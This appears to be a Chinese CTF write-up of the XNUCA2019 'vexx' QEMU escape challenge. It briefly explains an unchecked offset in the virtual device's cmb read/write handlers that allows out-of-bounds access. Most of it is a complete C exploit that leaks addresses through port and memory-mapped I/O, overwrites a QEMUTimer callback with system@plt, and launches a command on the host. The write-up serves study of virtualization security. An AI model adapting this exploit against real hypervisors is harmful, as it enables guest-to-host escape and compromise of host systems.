• [qemu逃逸] XNUCA2019-vexx


    前言

    这题没有去符合, 题目本身不算难.

    用户名: root

    密码: goodluck

    设备逆向

    题目没有去符合, 所以其实没啥好讲了, 就列一些笔者认为关键的地方

    这里的定义了两块 mmio 内存区. 然后看下设备实例结构体:

    可以看到 QEMUTimer, 所以多半就是劫持 dma_timer 了.

    漏洞点在 cmb_read/cmb_write 中: 这里仅仅分析 vexx_cmb_write

    在实例结构体中 req_buf 的大小为 0x100, 而 addr = offset + addr, 这里只检查了之前的 addr <= 0x100, 但是没有检查 offset+addr 是否越界, 而在 vexx_ioport_write 中是可以控制 offset 的, 从而导致越界写.

     同理 vexx_cmb_read 存在越界读

    漏洞利用

    其实就很简单了直接劫持 QEMUTimer 就行了

    exp 如下: 注: 经过测试 pmio 一次只能写一个字节

    1. #include
    2. #include
    3. #include
    4. #include
    5. #include
    6. #include
    7. #include
    8. uint64_t mmio_addr = 0x00000000febd6000;
    9. uint64_t mmio_size = 0x1000;
    10. uint64_t cmb_addr = 0x00000000febd0000;
    11. uint64_t cmb_size = 0x4000;
    12. void * mmio_base;
    13. void * cmb_base;
    14. uint64_t pmio_base = 0x230;
    15. void mmio_init()
    16. {
    17. int fd = open("/dev/mem", 2);
    18. mmio_base = mmap(0, mmio_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, mmio_addr);
    19. if (mmio_base < 0) puts("[X} mmio_init at mmio"), exit(EXIT_FAILURE);
    20. if (mlock(mmio_base, mmio_size) < 0) puts("[X] mlock at mmio"), exit(EXIT_FAILURE);
    21. cmb_base = mmap(0, cmb_size , PROT_READ|PROT_WRITE, MAP_SHARED, fd, cmb_addr );
    22. if (cmb_base < 0) puts("[X] mmio_init at cmb"), exit(EXIT_FAILURE);
    23. if (mlock(cmb_base, cmb_size) < 0) puts("[X] mlock at cmb"), exit(EXIT_FAILURE);
    24. printf("[+] mmio_base: %#p\n", mmio_base);
    25. printf("[+] cmb_base: %#p\n", cmb_base);
    26. }
    27. uint32_t mmio_read(uint64_t offset)
    28. {
    29. return *(uint32_t*)(mmio_base + offset);
    30. }
    31. void mmio_write(uint64_t offset, uint64_t val)
    32. {
    33. *(uint64_t*)(mmio_base + offset) = val;
    34. }
    35. uint32_t cmb_read(uint64_t offset)
    36. {
    37. return *(uint32_t*)(cmb_base + offset);
    38. }
    39. void cmb_write(uint64_t offset, uint32_t val)
    40. {
    41. *(uint32_t*)(cmb_base + offset) = val;
    42. }
    43. void pmio_init()
    44. {
    45. if (iopl(3) < 0) puts("[X] pmio_init"), exit(EXIT_FAILURE);
    46. }
    47. uint32_t pmio_read(uint32_t addr)
    48. {
    49. return inl(pmio_base + (addr - 0x230));
    50. }
    51. void pmio_writel(uint32_t addr, uint32_t val)
    52. {
    53. outl(val, pmio_base + (addr - 0x230));
    54. }
    55. void pmio_writew(uint32_t addr, uint32_t val)
    56. {
    57. outw(val, pmio_base + (addr - 0x230));
    58. }
    59. void pmio_writeb(uint32_t addr, uint32_t val)
    60. {
    61. outb(val, pmio_base + (addr - 0x230));
    62. }
    63. int main(int argc, char** argv, char** envp)
    64. {
    65. mmio_init();
    66. pmio_init();
    67. /*
    68. puts("[+] outl");
    69. pmio_writel(0x240, 0x38);
    70. puts("[+] outw");
    71. pmio_writew(0x240, 0x38);
    72. */
    73. puts("[+] outb");
    74. pmio_writeb(0x240, 0x38);
    75. pmio_writeb(0x230, 1);
    76. uint64_t cb_addr = cmb_read(0x100);
    77. printf("[+] cb_addr: %#llx\n", cb_addr);
    78. pmio_writeb(0x240, 0x3c);
    79. pmio_writeb(0x230, 1);
    80. cb_addr = cb_addr | ((1ULL * cmb_read(0x100)) << 32);
    81. uint64_t system_plt = cb_addr - 0x00000000004DCF10 + 0x00000000002AB860;
    82. printf("[+] cb_addr: %#llx\n", cb_addr);
    83. printf("[+] system@plt: %#llx\n", system_plt);
    84. pmio_writeb(0x240, 0x40);
    85. pmio_writeb(0x230, 1);
    86. uint64_t arg_addr = cmb_read(0x100);
    87. printf("[+] arg_addr: %#llx\n", arg_addr);
    88. pmio_writeb(0x240, 0x44);
    89. pmio_writeb(0x230, 1);
    90. arg_addr = arg_addr | ((1ULL * cmb_read(0x100)) << 32);
    91. uint64_t cmd_addr = arg_addr + 0xb90;
    92. printf("[+] arg_addr: %#llx\n", arg_addr);
    93. printf("[+] cmd_addr: %#llx\n", cmd_addr);
    94. pmio_writeb(0x240, 0x38);
    95. pmio_writeb(0x230, 1);
    96. cmb_write(0x100, system_plt&0xffffffff);
    97. pmio_writeb(0x240, 0x3c);
    98. pmio_writeb(0x230, 1);
    99. cmb_write(0x100, (system_plt>>32)&0xffffffff);
    100. pmio_writeb(0x240, 0x40);
    101. pmio_writeb(0x230, 1);
    102. cmb_write(0x100, cmd_addr&0xffffffff);
    103. pmio_writeb(0x240, 0x44);
    104. pmio_writeb(0x230, 1);
    105. cmb_write(0x100, (cmd_addr>>32)&0xffffffff);
    106. char cmd[8] = "xcalc";
    107. pmio_writeb(0x240, 0);
    108. pmio_writeb(0x230, 1);
    109. cmb_write(0, *(uint32_t*)&cmd[0]);
    110. pmio_writeb(0x240, 4);
    111. pmio_writeb(0x230, 1);
    112. cmb_write(0, *(uint32_t*)&cmd[4]);
    113. mmio_write(0x98, 1);
    114. // puts("[-] DEBUG");
    115. // pmio_writeb(0x240, 0x38);
    116. return 0;
    117. }
    118. x

     效果如下:

  • 相关阅读:
    蓝桥杯 危险系数 图算法
    [谷粒商城笔记]07、Linux环境-虚拟机网络设置
    日语等级J.TEST的自测卷
    算法通关村17关 | 盘点面试大热门之区间问题
    零零信安-D&D数据泄露报警日报【第37期】
    Llama 3-V: 比GPT4-V小100倍的SOTA
    30岁年薪28W,我还是没顶住压力跳槽了····
    MySQL总结练习题
    K8S安装过程十:Kubernetes CNI插件与CoreDNS服务部署
    大龄转行当程序员:只能选择小众技术,避免与年轻人竞争?
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/134490386